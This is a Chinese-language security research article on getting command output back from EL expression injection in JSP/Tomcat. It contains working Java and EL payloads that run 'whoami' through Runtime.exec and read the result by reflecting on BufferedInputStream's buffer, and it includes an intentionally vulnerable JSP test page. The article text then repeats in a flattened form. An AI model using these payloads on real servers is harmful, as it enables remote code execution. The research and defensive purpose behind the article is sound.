探究EL表达式注入的回显方式
字数 1370 2025-08-22 22:47:30

EL表达式注入回显技术深入解析

一、EL表达式注入回显概述

EL表达式注入是一种利用Java服务器页面(JSP)中表达式语言(Expression Language)功能实现远程代码执行(RCE)的技术。回显技术主要解决如何在执行系统命令后获取并显示命令输出结果的问题。

回显实现的两个关键步骤:

  1. 通过exec执行命令并获取InputStream
  2. InputStream转换为可显示的String

二、EL表达式注入的特殊限制

与SpEL表达式注入相比,EL表达式注入有以下特殊限制:

  1. 对象创建限制

    • 不能通过new关键字直接创建对象
    • 只能通过静态方法或反射获取对象
    • 必须使用类的全限定名,不能使用短类名
    • 不能直接使用class关键字获取类
  2. 变量传递特性

    • 单个${}标签可以包含多行Java代码,用分号分隔
    • 返回值是最后一段表达式的结果
    • 支持解析多个标签
    • 变量赋值可以跨标签,由解析器维护上下文
    • 通常不直接写赋值表达式,而是调用上下文的getter和setter方法

三、InputStream到String的转换技术

1. 技术难点

在EL表达式注入中,将exec命令的InputStream转换为String是一个复杂过程,主要因为:

  • JDK9之前没有直接的readAllBytes()方法
  • 传统方法需要多个类转换
  • 使用BufferedReader.readLine()需要处理多行返回值的循环

2. 创新转换方法

通过反射技术,无需引入新类即可完成转换:

  1. 获取执行结果流

    • exec.getInputStream()返回的是BufferedInputStream子类
    • 内部包含一个空的byte[8192]缓冲区(buf)
    • 实际结果存储在FileInputStream
  2. 反射利用流程

    • 通过反射获取BufferedInputStreambuf字段
    • 使用read()方法将结果读入缓冲区
    • 通过反射获取缓冲区内容
    • 使用String构造函数将字节数组转换为字符串

3. 具体实现代码

Java实现示例:

BufferedInputStream bis = (BufferedInputStream)Runtime.getRuntime().exec("whoami").getInputStream();
Thread.sleep(500); // 等待流写入

Class bisClazz = Class.forName("java.io.BufferedInputStream");
Field bufField = bisClazz.getDeclaredField("buf");
bufField.setAccessible(true);

bis.read((byte[])bufField.get(bis), 0, bis.available());
String result = (String)Class.forName("java.lang.String")
    .getDeclaredConstructor(Class.forName("[B"), Class.forName("java.lang.String"))
    .newInstance(bufField.get(bis), "gbk");

转换为EL表达式:

${pageContext.setAttribute("is",Runtime.getRuntime().exec("whoami").getInputStream())}
${Thread.sleep(500)}
${pageContext.setAttribute("bufField",Class.forName("java.io.BufferedInputStream").getDeclaredField("buf"))}
${pageContext.getAttribute("bufField").setAccessible(true)}
${pageContext.getAttribute("is").read(pageContext.getAttribute("bufField").get(pageContext.getAttribute("is")),0,pageContext.getAttribute("is").available())}
${Class.forName("java.lang.String").getDeclaredConstructor(Class.forName("[B"),Class.forName("java.lang.String")).newInstance(pageContext.getAttribute("bufField").get(pageContext.getAttribute("is")), "gbk")}

四、环境要求与注意事项

  1. 测试环境

    • JDK 8u191
    • Tomcat 8.5.100
    • tomcat-jasper 10.1.5
  2. JSP页面设置

    <%@ page contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
    <%@ page import="org.apache.jasper.runtime.PageContextImpl"%>
    <%
    String response = (String)PageContextImpl.proprietaryEvaluate(
        request.getParameter("expr"), String.class, pageContext, null);
    out.print(response);
    %>
    
  3. 编码问题

    • 使用gbk编码避免cmd输出乱码
    • 必须确保JSP页面指定了正确的编码,否则编码设置无效

五、技术优势与创新点

  1. 无需引入新类

    • 传统方法需要BufferedReader等辅助类
    • 本方法仅利用BufferedInputStream自身特性
  2. 反射技术的巧妙应用

    • 通过反射访问buf字段
    • 直接操作内部缓冲区
  3. 跨版本兼容

    • 适用于JDK9之前的版本
    • 解决了早期JDK缺少readAllBytes()的问题

六、防御建议

  1. 输入验证

    • 严格过滤用户输入的EL表达式
    • 禁用特殊字符和关键词
  2. 安全配置

    • 限制EL表达式的解析功能
    • 更新至最新版本的服务器和JDK
  3. 编码规范

    • 避免直接解析用户提供的表达式
    • 使用安全的表达式解析器

本技术文档详细解析了EL表达式注入回显的核心技术,包括其原理、实现方法和注意事项,为安全研究和防御提供了重要参考。

EL表达式注入回显技术深入解析 一、EL表达式注入回显概述 EL表达式注入是一种利用Java服务器页面(JSP)中表达式语言(Expression Language)功能实现远程代码执行(RCE)的技术。回显技术主要解决如何在执行系统命令后获取并显示命令输出结果的问题。 回显实现的两个关键步骤: 通过 exec 执行命令并获取 InputStream 将 InputStream 转换为可显示的 String 二、EL表达式注入的特殊限制 与SpEL表达式注入相比,EL表达式注入有以下特殊限制: 对象创建限制 : 不能通过 new 关键字直接创建对象 只能通过静态方法或反射获取对象 必须使用类的全限定名,不能使用短类名 不能直接使用 class 关键字获取类 变量传递特性 : 单个 ${} 标签可以包含多行Java代码,用分号分隔 返回值是最后一段表达式的结果 支持解析多个标签 变量赋值可以跨标签,由解析器维护上下文 通常不直接写赋值表达式,而是调用上下文的getter和setter方法 三、InputStream到String的转换技术 1. 技术难点 在EL表达式注入中,将 exec 命令的 InputStream 转换为 String 是一个复杂过程,主要因为: JDK9之前没有直接的 readAllBytes() 方法 传统方法需要多个类转换 使用 BufferedReader.readLine() 需要处理多行返回值的循环 2. 创新转换方法 通过反射技术,无需引入新类即可完成转换: 获取执行结果流 : exec.getInputStream() 返回的是 BufferedInputStream 子类 内部包含一个空的 byte[8192] 缓冲区( buf ) 实际结果存储在 FileInputStream 中 反射利用流程 : 通过反射获取 BufferedInputStream 的 buf 字段 使用 read() 方法将结果读入缓冲区 通过反射获取缓冲区内容 使用 String 构造函数将字节数组转换为字符串 3. 具体实现代码 Java实现示例: 转换为EL表达式: 四、环境要求与注意事项 测试环境 : JDK 8u191 Tomcat 8.5.100 tomcat-jasper 10.1.5 JSP页面设置 : 编码问题 : 使用 gbk 编码避免cmd输出乱码 必须确保JSP页面指定了正确的编码,否则编码设置无效 五、技术优势与创新点 无需引入新类 : 传统方法需要 BufferedReader 等辅助类 本方法仅利用 BufferedInputStream 自身特性 反射技术的巧妙应用 : 通过反射访问 buf 字段 直接操作内部缓冲区 跨版本兼容 : 适用于JDK9之前的版本 解决了早期JDK缺少 readAllBytes() 的问题 六、防御建议 输入验证 : 严格过滤用户输入的EL表达式 禁用特殊字符和关键词 安全配置 : 限制EL表达式的解析功能 更新至最新版本的服务器和JDK 编码规范 : 避免直接解析用户提供的表达式 使用安全的表达式解析器 本技术文档详细解析了EL表达式注入回显的核心技术,包括其原理、实现方法和注意事项,为安全研究和防御提供了重要参考。